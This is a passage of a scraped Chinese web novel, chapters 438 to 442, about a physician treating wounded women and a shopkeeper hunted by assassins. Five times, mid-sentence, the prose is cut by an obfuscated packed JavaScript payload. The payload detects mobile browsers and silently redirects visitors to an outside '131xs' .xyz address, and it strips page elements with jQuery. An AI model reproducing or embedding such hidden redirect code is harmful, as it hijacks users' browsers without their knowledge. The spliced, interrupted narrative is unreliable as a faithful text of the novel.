那么多人? 陈识月边取出银针,边开口询问,“当时人很多?” “对。”林梵回答,“当时人很多,尸体也很多,这两个丫头是个了不得的,愣是没有退缩分毫,便是冲着这股子硬骨头劲儿,我也不能见死不救。” 陈识月大概也预料到了,如此沉重的伤势,多半也是群攻所致,但没想到竟是这般惨烈。 一时间,谁都没有再说话。 林梵也怕打扰到陈识月施针,默默的站在边上,将蜡烛往跟前送了送,随时等候着帮忙……尽管她的确帮不上忙。 陈识月的动作很麻利,下针很准,即便烛火羸弱,也不影响她的判断。 不多时,门口站了不少乞丐,一个个都探着头往里面瞧,没想到林梵带回来的女子,竟是有这般好医术,瞧着她施针的动作,可见是个厉害的角色。 瞧着快烧完的蜡烛,林梵转身往外走,打算去马车上拿两根回来。 “姑娘,你上哪儿找的这么厉害的女大夫?”门口的乞丐笑问。 林梵轻嗤,“厉害吧?路上捡来的。” 乞丐:“……” 真能吹牛,还路上捡的? 了不得诶! 林梵出去的时候,还叮嘱一人去打点水回来。 陈识月其实也不知道,自己能不能救回二人,只能说是尽人事,听天命。 现在这种状况,谁知道呢? 等着施针完毕,脉象暂时趋于平稳,陈识月才稍稍松了口气,然后便想着,该重新清理一下她们的外伤。 正想着,乞丐已经端着一盆水进来。 紧接着便是林梵拎着一壶酒,还有两根蜡烛进来。 “我手劲太大,做不了细致活。”林梵开口,“我可以辅助,以你为主。” 陈识月点点头,“好,让门口的都出去吧!” “嗯!”林梵颔首,让门口的都赶紧走,“看什么看?姑娘家家的要换洗,再看就把你们眼珠子抠出来,都给我本分点,不然别怪我不客气。” 乞丐们嘿嘿笑着,快速退了下去。 他们是穷困潦倒,但不是人性泯灭,该有的底线还是有的。 虽然这道破门关不关都无所谓,但林梵还是小心关上,总归是个心理安慰,其后便拧了帕子递给陈识月,兀自解开了其中一人的衣衫。 陈识月开始帮着擦脸,擦手,擦拭露在外头的肌肤。 莫名的,她觉得这两张脸好似有些眼熟…… 记不得了。 但是,熟悉。 直觉告诉她,这两人……她许是认得的,且关系不俗。 “我好像认得她们?”陈识月小声嘀咕,“可我记不得了?” 林梵一怔,“你记不得了?哦,是因为你此前受伤的缘故?” “她们肯定不是恶人。”陈识月看向她。 林梵似懂非懂的点点头,如此犟种……瞧着也不像是坏人,要不然不会被长乐门的人**,凡是跟长乐门对着干的,不是盟友也是盟友,好赖不论。 擦干净了身上的血污,一盆盆的血水端出去,看得外头的乞丐都面色凝重,一改之前的嬉皮笑脸。 “刀口深的,我都给上过一次药。”林梵解释,“但没那么多药,所以只是随手处理了一下,并未深究,我也没法深究,哪儿有这么多的金疮药。她们全身上下几乎都是伤口,根本没办法完全处置。” 陈识月表示理解,要不是听她描述,出来的时候她特意多带了一些金疮药,怕是此刻也得束手无策。 好几处伤口几乎险些戳中内脏,皮肉翻卷可见红肉,更有几处深可见骨,很难想象她们二人当时面临着怎样的绝望险境。 “不得不佩服,两个姑娘家竟是受了这么重的伤,却没有退缩半步。”林梵由衷感慨,“这要是换做是我,怕也受不住!” 陈识月想着,“彼时定然有什么事情,比她们自己的性命更重要,值得她们如此拼命。” 这话倒是有理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414850|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是什么事情呢? 不会跟自己有关吧? 心里有点乱糟糟的,但受伤的动作未停,陈识月忙着为二人疗伤,真真是一刻都不停歇。 等到彻底处理干净,陈识月已经精疲力竭。 瞧着她汗流浃背的样子,林梵一时间也不知道该说什么,“那什么……诊费……” “我都说了,我可能认识她们,且我没有在医馆挂诊,何来的出诊费?”陈识月摆摆手,有气无力的回应,伸手揉了揉僵硬的脖子,“还好我出来的时候,多带了一些药,要不然的话……” 她从带出来的包袱里,取出了两副药,“来的时候,根据你之前所言,我特意抓了几服药,大概可以试一试,这些药能撑两日,两日后我再来看看情况,若是有效那自然是最好,若是不成,我就得换个方子,重新给她们诊治。” 其实陈识月也有些犹豫,想着带她们进城会不会好一些,可转念一想也不太对,长乐门要杀的人,若是出现在人前,送入了医馆或者是客栈,岂非是羊入虎口? 那些探子肯定会上报,一旦消息传出去,不死也得死,陈识月可没这么大的本事,能挡住那么多的暗杀,毕竟明枪易躲暗箭难防。 “成!”林梵点点头。 陈识月问,“会不会耽误你的事儿?” “那倒不至于,我本就是来找兄弟的,听说兄弟被欺负了,这不来报仇了吗?”林梵云淡风轻的开口,一脸的无所谓,“报仇什么时候不能去?生与死相比,还是生比较重要。” 陈识月身上没有银两,自然什么都做不了,“那我过两日再来。” “好!”林梵点点头,“你先休息,天亮之前我送你回城。” 陈识月颔首,不再多说什么。 今晚,她便守在这里,守着这二人。 夜色沉沉。 林梵出去了一趟,不多时便又回来了,递给陈识月一个冷馒头和一只烤鸡腿,顺带将水袋放在她身侧,二人坐在台阶上有一搭没一搭的说着话。 “你来找兄弟,你兄弟在哪?”陈识月问。 林梵笑了,“我兄弟此前在沙场杀敌,好像当什么副将,反正挺大的官,这些日子刚来了金都。” 第四百三十八章 不会排着队杀我吧? 陈识月皱了皱眉头,隐约觉得这话有点耳熟,但她也没有多说什么,只是心生敬佩,“是行伍之人,戍守边关的将士啊?” “是!”林梵点点头,“祖上开武馆的,后来父亲去了边关从军,剩下我们兄妹二人相依为命,后来兄弟也走了,臭小子是个倔强骨头,功夫都没学好,就想着去找爹。” 回过神来,林梵略显不好意思的笑了笑。 “家长里短的,见笑了。”林梵回过神来,没有多说什么,只是平静的看向高挂在天边的月亮,仿佛是在回想着遥远的故事。 父辈的故事,自家的小兄弟。 陈识月不是个话多的人,当然不会多问,所以听着林梵絮絮叨叨完,就进屋盯着那两人的伤势。 这伤如此严重,身边是离不开人的。 得时刻盯着,以防恶化。 能与长乐门对峙,让陈识月心生敬佩,谁说女子无用?如此铮铮铁骨,很多男儿尚且不如,身负重伤亦不求饶退缩,多少人武艺高强之人,亦犹恐不及。 “怎么样?”林梵问。 陈识月的脸色略显凝重,“还在起热。” “入夜就起热,这两日都是如此,只能是用凉水擦拭,一直擦拭。”林梵略显无奈,瞧着昏迷不醒的二人,“没办法,这地方要什么没什么的,也不敢把人带进城,万一让长乐门的人知道,我没办法日日防范,人总有疏忽的时候。” 陈识月点头表示理解。 “我来施针。” 先降温再说,否则一直持续高温,好好的人都得烧成傻子,何况这二人身负重伤。 陈识月的动作很快,林梵也很安静,只能偶尔递递帕子擦擦汗,别的什么都做不了。 这一忙活,整夜难眠。 天还没亮,林梵便驱车送陈识月回城。 如此一来,天亮开城门,正好方便她回去,以免被人察觉异常,也不耽误陈识月今日上工。 “我自己可以进去。”陈识月抬步就走。 林梵站在车边上,确定她进了城,这才快速离开。 昨日在城内被追了一通,想来那些衙役都还在找她,她可不想再去找晦气,先老实待在城外再说,等着里面安生一些了,她再改头换面的进城。 刚进城,陈识月便愣了愣。 长雾就在城门口附近徘徊,一抬头与她撞了视线,当即火急火燎的冲过来。 门口有守军,二人也不敢多说,落座在街边的馄饨铺里,这才开了口。 “如何?”长雾的焦灼不是作假,“没什么事吧?” 陈识月点点头,“没事,你不会等了我一晚上吧?” “我不放心你。”长雾松了口气,“没事自然是最好的,你不在家,家里空落落的。” 掌柜送了两碗馄饨上来,陈识月往碗里倒了点醋,“家里没事吧?” “两个探头探脑的,最后夹着尾巴跑了。”长雾云淡风轻的开口,美滋滋的吃着馄饨,“总体来说没什么大碍。” 陈识月哧溜哧溜吃着馄饨,“其他动静呢?” “昨晚又闹了一场,好像是发现了凶手什么的,反正吵吵嚷嚷的。”长雾压低了声音,“我没出来,怕到时候惹人生疑,不过……貌似没抓到人,一大早的还在满大街的翻找。” 陈识月顿了顿,“又闹了一场?” “谁知道呢?现在人人自危,宁可抓错不可放过。”长雾无奈的摇头,兀自吃着碗里的馄饨,“衙门那边一大早就有人在喊冤。” 陈识月不解,“为何?” 为何? “自然是抓错了呗!”长雾招招手,“伙计,再来一碗。” “好嘞,客官请稍待!” 回过神来,长雾又道,“这两日别乱跑,连杀两人可不是寻常人能做到的,你那平安堂这会又加派了人手,你可得当心。” “昨晚不是有两个人看着吗?”陈识月愕然。 又一碗馄饨被端上来,伙计笑盈盈的开口,“客官请慢用。” “多谢!”长雾端起第二碗,继续吃着,“谁知道呢?大概是掌柜真的想起了什么?反正平安堂药铺不平安,要不然……” 陈识月摇头,“你忘了,我都支了小半年的工钱,咱可没银子还人家。” 这银子都拿来赁房子了,哪儿还有余钱? 陈识月暂时不想动叔公的钱,那是自己的退路,可不能轻易拿来用……平日里,还是自食其力的好,免得后面那些尾巴盯上回春堂。 “我会努力的。”长雾略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416651|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显愤懑的开口。 陈识月忽然被他逗笑了,“银子永远赚不完,努力虽好,也得量力而行,这命就一条,没了就什么都没了。” “放心。”长雾报之一笑,“我还没蠢到这地步。” 这话刚说完,长街那边又有巡城军快速冲过去,好似又发现了什么。 一时间,四下寂静,所有人都静默着原地驻足,翘首望着声源方向,不知道又发现了什么? 陈识月放下汤匙,喝了几口汤,“我回平安堂看看。” “小心点,遇见危险就跑。”长雾放下饭钱。 二人分头离开。 平安堂。 衙役守在门口,昨儿见过陈识月,便也没拦着她。 伙计一见着陈识月来,忙不迭迎上去,“姑娘,你可算是来了。” “怎么了?”陈识月没明白。 这是出了什么事? “昨晚那凶手又来了,大概没料到有衙门的官爷看着,落荒而逃,没能得逞。”伙计说的时候,脸上浮现出惊恐之色,“你说咱们掌柜怎如此倒霉?这一而再,再而三的被追杀,真该去寺庙里拜拜,去去晦气。” 陈识月不敢置信,“你是说掌柜的又被……” “没得逞。”伙计急忙解释,“掌柜当时已经醒了,叫了一声,两位官爷当即冲了进去,这才救了掌柜一命,要不然今日不会多了那么多官爷守着。” 陈识月一边套上袖套和围腰,一边朝着后院走去,果然那见着后院又多了两个衙役。 “掌柜的没事吧?”陈识月问。 掌柜闻讯开门,“哎呦喂,快进来。” “掌柜的,你……”陈识月打量着他。 掌柜捂着心口,快速合上房门,“要不是你给的那一包药,我又得交代在这了,这可是第二次了,我这条命真是活得艰难。” “对方身手如何?”陈识月问,“还是一如既往的敏捷?” 掌柜连连点头,“对。” 陈识月明白了,“那就是说,凶手不是一个人。” 掌柜的脸瞬时白了,“你这话是什么意思?不是一个人?那是两个人?多少人?不会是排着队杀我吧?哎呦我的老天爷,我这是造了什么孽?这帮天杀的畜生!” 第四百三十九章 人被救走,不知生死 “之前给你的那一包药,足够让那个凶手折腾两天,按理说他不可能再以身犯险。”陈识月平静的解释,“所以你说来者无恙,那便不可能是之前那个凶手。” 掌柜努力回忆着,“之前……之前……还真的有点不一样,之前那个偏瘦,昨晚来的那个稍微要胖一些?不知道是衣服的缘故,还是别的原因?但若是按照你所言,那就是这二人并非一人,那这就是……就是铆足了劲,非得要我死呗?” “两个人?”陈识月沉默了片刻,又开口继续道,“说不准,不止两个。” 掌柜哑然失语。 这不就是非得让他死吗? 天杀的。 要命咯! “不要落单。”陈识月叹气。 掌柜赶紧拽住她,“还有吗?” “嗯?”陈识月一怔。 掌柜的伸手,“再给一包。” 陈识月:“……” 这又不是烂大街的烂白菜,哪儿有这么多的好东西? “没了?”掌柜急了。 陈识月抿唇,“所需费时。” “这是药铺,里面的药你随时取用,再给我来点,我害怕!”掌柜眼眶发红,“我上有老,下有小,这要是眼一闭,那可如何是好?姑娘,就请您看在咱本本分分一辈子,做药铺生意从来没有缺斤少两,没干过坏事的份上,可怜可怜我?再给来点?” 陈识月张了张嘴,瞧着眼前这可怜的老实人,终是沉默着点点头。 但,也只能是尽力而为。 斩草不除根,一切都是治标不治本。 两次逃过一劫,第三次……这招怕是不好用,毕竟谁会在一个坑里跌三次呢?哪怕不是同一个人,肯定也是同一伙人,彼此之间消息互通,这第三次肯定是凶多吉少。 不过,掌柜既有所求,陈识月横竖都是在药铺里上工,顺手做一做也不是什么难事。 白重是晌午时候过来的,昨夜的事情他也听说了,一颗心始终七上八下的,寻思着得来看看,不然始终不放心。 好在,陈识月无恙。 “实在不行就回家。”白重压低了声音。 陈识月点点头,示意他放心。 如此,白重松了口气,去给掌柜检查了一番伤口,换了药便急急忙忙的离开。 陈识月继续忙着手头的活,累了就眯一会。 只是刚睡着没一会,便听得外头传来了吵闹声。 伙计悄默默进屋推醒了摇椅上的陈识月,“姑娘,知府大人来了。” 陈识月:“??” 她这厢还睡得迷迷糊糊的,骤听得这话,不由得心神一震,瞬间脑子都清醒了。 “知府大人?”陈识月皱眉。 伙计连连点头,“怕到时候问及掌柜的事儿,咱这边知道得不多,怕说不清楚,您看……您是不是准备一下,万一找你问话呢?” “我洗把脸就来。”陈识月打着哈欠起身。 果不其然,知府大人亲自问询过掌柜之后,便让人去请了陈识月,毕竟这两次掌柜能脱险,多亏了她的好物什。 陈识月小心翼翼的上前行礼,“大人。” “月……月公子?”柳大人诧异,“你是月公子?” 陈识月:“??” 脑子里没有这段记忆,这可如何是好? 陈识月站在原地发愣,一时间不知道该如何回答。 “月公子?”柳大人是见过她的,毕竟当时她站在霍青行的身侧。 但是陈识月没有回答,就说明她可能不想回答这个问题? 藏身在这平安堂,是有意为之? 还是随性而为? 既然她不愿意承认,柳大人便也没有纠结在此,“你来详细说一说,当时的状况吧?” 陈识月抬眸望着掌柜的,掌柜点点头。 想来,他已经说得差不多了。 于是乎,陈识月也没有犹豫,将实际情况重新说了一遍,跟掌柜所言相差无二。 柳大人没有吱声,只静静听着陈识月的陈述。 等陈识月说完了,柳大人似乎还沉浸在某个思绪里没回神,还是身边的师爷喊了两声,他这才如梦初醒,“嗯?怎么了?” “大人,您没事吧?”师爷问。 柳大人点点头,“本府当然无恙,只是本府听了姑娘一番话,倒是心中存疑,如此说来……对方可能不止一两个人?这伙人行事干净利落,**不眨眼,还穷追不舍……不可不谓之穷凶极恶之徒。” 说到这里,柳大人看向了掌柜。 掌柜瑟瑟发抖,怕自己……小命休矣! “从即日起,你住进府衙,等着事情稍缓,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424003|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者是抓住了凶手之后,再自行归家。”柳大人面色凝重,“这外头终究是不安全。” 掌柜旋即行礼,“多谢知府大人。” “这伙人还在城中晃悠,不可不防。”柳大人看向陈识月,“姑娘,要不然你……” 陈识月赶紧行礼,“大人,民女一定会帮着东家看好平安堂,请大人放心,请东家放心。” 柳大人的话到了嘴边,被她一番话给堵了回去。 “好!”柳大人起身。 他也没功夫在这里耽搁,刑部那边都忙着,他身为金都府的府尹,也是忙得不可开交,既然陈识月不愿意去衙门避祸,那也尊重她的选择。 毕竟,凶手想杀的是掌柜,不是这位姑娘。 “掌柜只管放心,我会看好平安堂的。”陈识月低声道,“东西还没做好,您随身放着一包石灰粉,以便不时之需。” 掌柜点点头。 如此一来,知府便带着掌柜离开,衙役便也跟着撤了。 这要是成日有衙役守着,铺子里的生意还怎么做? 人一走,伙计如释重负。 “这样一来,掌柜的应该就安全了吧?那么多人看着呢!” 陈识月不说话,未必是安全的,这等于把人摆在了明面上,万一那帮人……罢了,好歹是官衙,不至于这么废物,连个人都保不住吧? 一辆马车从门前经过,霍青行依旧靠在车窗边上,就这么直勾勾的盯着站在门口的人。 真好。 没事就好。 陈识月眉心微蹙,恍惚间觉得好似有人在看着她,可放眼望去却什么都没瞧见,也不知道是不是自己的错觉? 收回视线,她转身回了大堂。 马车缓缓而行,渐行渐远。 大不了,多绕两次。 “少将军,有迎春和冬梅的消息了。” 马车刚停下,管家便得了消息。 霍青行整个人都振奋了,苍白的面上浮现出焦灼的神色,“人呢?活着吗?” 哪怕缺胳膊断腿也无所谓,只要活着,能活着就成! “大概活着吧?”探子低声回答。 管家搀着霍青行进去,探子紧随其后。 “什么叫大概?”管家不解。 探子忙解释,“人被救走,不知生死。” 第四百四十章 大外甥起疑了 一时间,所有人都沉默着。 生死不明,那就是可能会死,被人救走只是多了一丝幻想而已,谁知道这幻想什么时候回被戳破呢? “只要没找到尸体,那就是有希望的。”管家搀着霍青行回到床榻上,“少将军只要养好身子,何愁不能查明真相呢?” 霍青行没说话,只是静静的躺在床榻上,一时间眼睛发直,不知道在想什么? “还有没有别的消息?”管家追问。 探子摇摇头,“人当时就消失了,那辆马车是朝着回城的方向而去,后来我们细查,发现人似乎没有进城。” 城内,没有踪迹。 各个医馆、药铺,甚至于客栈都没有收容过受伤的人。 于是乎,这就成了悬案。 人被带走了,但不知道带往何处? “没有进城,那可能就在城外。”管家想了想,“多派点人去城外找,再看看城内的那些医馆、大夫,有没有这两日出城出诊的?” 霍青行点点头,“照办。” 无论如何,都不能放弃。 如果连他们都放弃了,那迎春和冬梅可就真的没救了,说不定就差了这么一口气。 探子快速离开,先去城外找人再说。 是死是活,都要有个交代。 生要见人,死要见尸。 “平安堂那边,我会一直派人盯着的,少将军只管放心。”管家忙道,“就算是豁出这条老命,咱也得给您把人护住咯。” 只要少将军能好起来,其他都可以商量。 霍青行道了句,“多谢!” 老管家无奈的叹气。 不过,事情也没那么糟糕,没有消息便是好消息。 掌柜住进了衙门,算是有了妥善的安全保护,陈识月则守住平安堂,处处留意周遭,以免节外生枝。 “姑娘,你说那人到底是怎么回事,非要杀掌柜的不可?”伙计在大堂内碾药,心中颇为不解,“掌柜都说没发现什么了,怎么还这般穷追不舍呢?” 陈识月正在翻看今日抓过的药方,不由得眉心微蹙,“莫不是掌柜自己大意忘了什么,但对方却觉得某个线索很是重要?” 于是,双方信息碰撞,一个忘了,一个以为暴露了,便有了这样的穷追不舍? “你还真别说,的确有些道理。”伙计连连点头。 陈识月翻页的动作稍稍一顿,无意间说的一句话,说不定还能成为问题的关键?身形微微绷直,陈识月若有所思的看向伙计。 “姑娘是不是想到了什么?”伙计赶紧放下碾槽,抬步朝着陈识月小跑过来,“你是不是也看到了那个人的脸?又或者是猜到了什么?” 瞧着伙计略显八卦的样子,陈识月无奈的笑笑,“我能看到什么?我能猜到什么?衙门的人一个个都办了那么多案子,始终没有头绪,咱一个卖药的还能怎么办?好好开门做生意,替东家守住这药铺就得了,别的莫要想太多,免得惹祸上身。” “这倒也是,还是自己的小命要紧。”伙计撇撇嘴,“也不知道掌柜怎么如此倒霉?出个门还能碰见这么晦气的事情。” 两次了! 这都两次了! 穷追不舍,势要追杀。 “你管住自己的嘴,不要在外面乱说话,万一那凶手藏匿在人群之中,被他们听见了,你可就要倒大霉了。掌柜的现在进了衙门,你还在外面待着,出了事别怪我没提醒你!”陈识月也是好意。 那些人穷凶极恶,见人就杀,为了灭口更是不择手段。 惹不起,躲得起。 伙计脸都吓白了,“姑娘可莫要胡说,您别吓唬我,我这人胆子小!” “知道害怕就管住自己的嘴,不要打听不该打听的,知道太多对咱没好处,咱是小老百姓,一没有银钱逃命,二没有功夫傍身,三没有护卫在侧,我们没有九条命。”陈识月叹气。 说这些,只是为了大家都能活着。 这年头谁也不知道明天和意外哪个先来,所以活着比什么都重要。 今日倒是没太多的客人,待日落西山,陈识月便与伙计一道关闭了铺子,闭店下工。 长雾照例在外面等着,“今日可安好?” “自然。”陈识月缓步走向他,“换了活计?” 长雾一怔,“怎么瞧出来的?” “身上灰尘不沾,有股子药香味,是去了医馆还是去了药铺?闻着还有点淡淡的脂粉香味,那……是去了香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424004|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料铺子吧?”陈识月环顾四周,“此前我在城中打听过,香料铺子一般都不怎么招人,除非是金都城内最大的香料坊。无水香坊!” 长雾张了张嘴,好半晌才吐出一句,“你不去衙门当差,当真是屈才了!” “看样子,是我猜对了。”陈识月兀自笑了笑,“香坊里调配香料,倒也是极好的活计,只是需要做事精细,还得深谙药理,懂得颜色调配,那些胭脂水粉若是成色不好,亦是卖不出去,是会亏本的。” 长雾提着菜,“放心吧,工钱不错,活也不错。” 二人有说有笑的往家走,全然不顾后面的尾巴紧随。 “又跟上咯?”陈识月笑着说。 长雾不回头,“跟着吧,饿死他们!” 关上门,将外头的杂乱隔绝在外。 “东西都在原位,你也不怕他们破了你的机关?”陈识月接过菜,转身进了小厨房。 长雾检查了一番院子内外的状况,确定他们不在家的时候,没人闯进来,这才放心的去了小厨房,“家里没人闯入。” “那不是很好吗?说明他们的目标是你与我,而不是咱身上带着的什么东西?”陈识月正在洗菜,转而又停了手,“还有便是,你我到底有什么东西,值得他们如此防范,这般紧盯不舍?” 长雾坐在后窗边上,眉心紧蹙成了“川”字,“是你这一身医术太招人了?他们是有谁病入膏肓,急需救治?” 陈识月看向他,“谁家好人生了病,喜欢盯着别人不放的?生病就找大夫,找不到大夫就打听好大夫,而不是跟着不放。我又不会生药丸,逼得他们在后面捡着吃?” 长雾:“……” 那是为何? “咱两以前有仇人吗?”长雾问。 陈识月叹口气,“大外甥,咱两以前没仇人,听明白了吗?” “听明白了。”长雾点点头,“那就有些奇怪了,这些人吃饱了撑的,跟着不放又没有其他行动……” 真是难猜。 “别胡猜猜,搭把手去抱点柴火回来起灶。”陈识月白了他一眼。 长雾乖顺的去干活,待生了灶火之后,便去院中劈柴,动作倒是极为熟练,秀出他那一身的腱子肉。 第四百四十一章 对了,记得关门 陈识月白了一眼,瞧着院中跟开屏孔雀似的某个人,但心里略有些沉甸甸的,隐约觉得这小子可能猜到了什么? 比如说,伪装的身份。 但,那又如何? 吃过晚饭,二人就坐在院中消食。 “你昨夜出城……”长雾顿了顿,不知道该如何言说,“没事吧?” 陈识月深吸一口气,“遇见了老友,出去聚了聚。怎么着,你也想去聚一聚?奉劝一句,长辈的事情少打听。” 闻言,长雾略显无奈的轻嗤。 “嗤什么嗤,这是大实话,也是奉劝你的话,别到时候惹**了我,我就让你罚跪祠堂。”陈识月与其里带着警告的意味。 长雾哈哈干笑两声,“祠堂?祠堂在哪呢?我怎么没看见?在哪呢?在哪呢?” 蓦地,陈识月一巴掌拍在他脑门上,“在你脑门上。” “嗤……”长雾揉着生疼的脑门,“力气真大,这般粗鲁,小心嫁不出去。” 陈识月起身往房间走去,“有你这拖油瓶,我想嫁出去也难,你还是好好考虑你自个吧!” 关上房门,陈识月点灯开始翻看医书。 长雾坐在院子里,瞧着今日的夜色。 夜色不太好,无星无月,风有些嗖嗖的凉意,说不准今夜会下雨,他想起后院厨房边上的茅屋缺了一角,改明儿还是要修一修为好。 陈识月的心思却不在书上,看着看着,整个人就像是丢了魂一样,想起了城外的两人,想起……将军府,想起了白重说的那些话,不由得有些心慌意乱,恍惚觉得好像会出点什么事? 敲门声起。 “何事?”陈识月问。 长雾提着水壶,“给你烧了点热水。” “进来。”她搁下手中的医书,抬眸看着进来的人,“你也早点睡。” 长雾点点头,“今晚可能要下雨,记得关好窗户。” “好!”陈识月颔首。 见着他似乎犹豫着,一副欲言又止的模样,当下皱起眉头,直勾勾的盯着他。 长雾心下微恙,迎上她的眸子,好似被看穿一般,面上浮现出几分窘迫之色,“我……我就是有些担心你,平安堂的事情闹得大街小巷都知道了,你……会不会有危险?” “夜里若是有刺客闯入,你院中的暗器可能护我周全?”陈识月直白的问。 长雾思虑一番,“可以!” 他回答得很肯定。 “那还有什么可担心的?”陈识月似笑非笑,“死不了就是赢了,还有什么可畏惧?倒是巴不得对方上门来,若是能一举擒获,说不定还能拿官府的赏银,到时候你我可就发大财了。” 长雾扯了扯唇角,一脸嫌弃的看向她,“想得可真美,还是早些洗洗睡吧,梦里肯定有大把的赏银等着你呢!” “这倒是个好主意。”陈识月顺势而言。 长雾看了一眼她手中的医书,“别看太晚,灯火太暗,对眼睛不好。” “我知道。”陈识月没多话。 长雾一声叹息,默默的退出了房间。 房门合上,他在门口站了半晌,就这么直勾勾的盯着房门看,也不知道在想什么? 陈识月当然能感受到,来自于外面的异常。 不过,她没动。 半夜的时候,果然开始下雨,还好门窗紧闭,雨打芭蕉亦无妨。 只是,雨夜风大声响大,便是个探窗而入的好机会。 但是这院子到处都是机关,想要进来都不容易,何况是探窗而入? 这不,前脚刚踏入,后脚就触动了机关。 一声闷哼,伴随着肩膀骤痛,紧接着便是一股子酥麻快速传遍全身,要不是大雨瓢泼,让人暂时保全了理智,只怕这会已经倒在地上。 长雾快速坐起身来,翻身便下了床榻,三步并做两步打开了房门,立在了檐下看着院中的异动。 不只是长雾,陈识月也醒了,虽然动作没他快,但是也快速披上外衣朝着房门口走去,估计是长雾的陷阱又逮着耗子了。 果然! 陈识月推开门的时候,长雾已经撑起了伞。 “别出来,外头雨大,小心风寒。” 陈识月站在门口,拢了拢外衣,就这么静静的看着院子里的一切。 只见着长雾撑着伞,一步步走下台阶,走向倒在院中的那人,雨夜中背影有些阴戾,瞧着让人有些心惊胆战的。 “你是何人?为何夜半闯我宅院?”长雾站在雨中,一人一伞,电闪雷鸣中好似恶修罗,他居高临下,低眉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426076|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着倒伏在地上,痛苦挣扎的男人,“说!” 对方似乎是说不出话来了,颤颤巍巍的伸出手,想要触碰长雾的裤管,可最后却连胳膊都抬不起来,绵软无力的倒伏在水中。 “他中了你的毒,怕是说不出话来了。”陈识月开口,“你不考虑解个毒?” 长雾挑眉,“解毒不就飞了?还是这样躺在脚下比较放心。” “随你。”陈识月也不拦阻。 她又不是圣母,别人都闯入家中要打要杀要干坏事了,她还要慈悲救人? 那不行! “说清楚!”长雾低喝。 他可没什么耐心,何况还带着起床气呢! 大半夜不睡觉,跑到家里扰人清梦,没有当场毒死丫的,已经算他克制,若非天子脚下,他何须如此顾忌? 但凡在城外,随便了账。 男人倒伏在地上,嘴角有血不断的溢出,他挣扎了一下,奈何伤得有点重……哦不,更确切的说,是毒发得有点快,以至于他这会已经说不出话来了。 陈识月双手环胸,就这么看着院子里的动静,“你能不能动作快点,别老让他说说说的,你那毒有多烈,自个心里没数吗?就他现在的状况,没当场死给你看,已经是他祖上积福了。” 长雾:“……” 有种被拆台的无力感。 “让他滚,我要睡觉,明日还得上工呢!”陈识月转身进门。 长雾皱了皱眉头,“这么不耐烦,问口供不得有点耐心?” 回应他的,是房门“砰”的一下关上。 “长乐门的人?”长雾问。 对方吃力的点点头。 “这里没有你们要的东西,下次别再来了,**这种事咱可不干,但若是真的欺上了门,必也不会轻饶了你们。”长雾冷声威吓,“这一次就算了,但死罪可免,活罪难饶。” 长雾深吸一口气,看向正门,然后弯腰往他嘴里塞了一枚药丸。 “解毒的。”长雾退后两步,“自己爬出去,千万不要站起来,这院子里满是我的机关,爬出去,就能活!” 说着,他转身朝着房门走去。 拾阶而上,收伞靠边。 临进门前,他还不忘回头叮嘱,“对了,记得关门。” 第四百四十二章 当时,那人鞠了一躬 落在长雾的手里,谁都没有好下场,好在他现在想不起来什么,要不然绝对不是这样的结果,所以眼下这人还有活命的机会。 城内已经出了两桩命案,若是再出点人命案,可就真的要被冤死在大牢里。 陈识月知道,长雾也明白。 所以今夜,不会有事。 